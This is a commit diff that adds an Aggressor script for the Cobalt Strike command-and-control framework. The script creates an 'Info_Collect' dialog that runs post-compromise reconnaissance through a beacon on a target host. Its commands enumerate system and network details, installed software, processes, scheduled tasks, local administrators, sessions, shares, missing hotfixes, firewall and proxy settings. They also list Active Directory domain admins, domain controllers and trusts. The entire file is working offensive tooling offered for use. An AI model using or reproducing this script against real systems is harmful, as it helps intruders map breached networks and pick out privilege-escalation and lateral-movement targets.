Add files via upload

2026-06-08 17:50:44 +00:00 · 2020-04-22 15:09:43 +08:00
parent 7a5d3a9e68
commit 963ab9e5ef
1 changed files with 103 additions and 0 deletions
@@ -0,0 +1,103 @@
+#define functions
+
+local('$bid');
+
+sub sysinfo{
+    btask($bid, "=====Systeminfo=====", "");
+    bshell($bid, "systeminfo | findstr /B /C:\"OS\"");
+}
+
+sub ipconfig{
+    btask($bid, "=====Ipconfig=====", "");
+    bshell($bid, "ipconfig /all");
+}
+
+sub netstat{
+    btask($bid, "=====Connection=====", "");
+    bshell($bid, "netstat -ano | findstr LISTENING");
+}
+
+sub software{
+    btask($bid, "=====Software=====", "");
+    bshell($bid, "wmic product get name,version");
+}
+
+sub ps_soft{
+    btask($bid, "=====Software (powershell)=====", "");
+    bpowershell($bid, 'Get-WmiObject -class Win32_Product | Select-Object -Property name,version');
+}
+
+sub runprocs{
+    btask($bid, "=====Startup process=====", "");
+    bshell($bid, "wmic startup get command,caption");
+}
+
+sub pros_detail{
+    btask($bid, "=====Running process=====", "");
+    bshell($bid, "wmic process get caption,executablepath,commandline");
+}
+
+sub tasks{
+    btask($bid, "=====Task=====", "");
+    bshell($bid, "schtasks /query /fo LIST /v");
+}
+
+sub users{
+    btask($bid, "=====Users=====", "");
+    bshell($bid, "net user && net localgroup administrators && net session && net share");
+}
+
+sub hotfix{
+    btask($bid, "=====Hotfix=====", "");
+    bshell($bid, "wmic qfe get Caption,Description,HotFixID,InstalledOn");
+}
+
+sub firewall{
+    btask($bid, "=====Firewall=====", "");
+    bshell($bid, "netsh firewall show config");
+}
+
+sub proxy{
+    btask($bid, "=====Proxy=====", "");
+    breg_query($bid, "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", "x64");
+}
+
+sub domain{
+    btask($bid, "=====Domain=====", "");
+    btask($bid, "Part One", "");
+    bshell($bid, "net view /domain && net group /domain && net group \"domain computers\" /domain && net accounts /domain && net group \"Domain Controllers\" /domain ");
+    btask($bid, "Part Two", "");
+    bshell($bid, "Nslookup -type=SRV _ldap._tcp && nltest /domain_trusts && netdom query pdc");
+    btask($bid, "Part Tree", "");
+    bshell($bid, "net user /domain && wmic useraccount get /all && dsquery user && net group \"domain admins\" /domain");
+}
+
+sub main{
+    foreach $func (keys($3)){
+        if ($3[$func] eq 'true'){
+            eval($func.'();');
+        }
+    }
+}
+
+item "Info_Collect"{
+            $bid = $1['@'];
+            $dialog = dialog("Gather Informations",%(bid => $bid), &main);
+            dialog_description($dialog, "Collect information about the target host");
+            drow_checkbox($dialog, "sysinfo", "System informations", "");
+            drow_checkbox($dialog, "ipconfig", "Network card configuration information", "");
+            drow_checkbox($dialog, "netstat", "Listening port list", "");
+            drow_checkbox($dialog, "software", "Installed software list", "");
+            drow_checkbox($dialog, "ps_soft", "Installed software list(use powershell)", "");
+            drow_checkbox($dialog, "runprocs", "Startup processes list", "");
+            drow_checkbox($dialog, "pros_detail", "Running processes list", "");
+            drow_checkbox($dialog, "tasks", "Schedule task list", "");
+            drow_checkbox($dialog, "users", "Local users , administrators , share and sessions list", "");
+            drow_checkbox($dialog, "hotfix", "Hotfix list", "");
+            drow_checkbox($dialog, "firewall", "Firewall configuration information", "");
+            drow_checkbox($dialog, "proxy", "System proxy configuration information", "");
+            drow_checkbox($dialog, "domain", "Domain informations", "");
+            drow_text($dialog, "redirect", "Script output file[optional]: ");
+            dbutton_action($dialog, "Run");
+            dialog_show($dialog);
+        }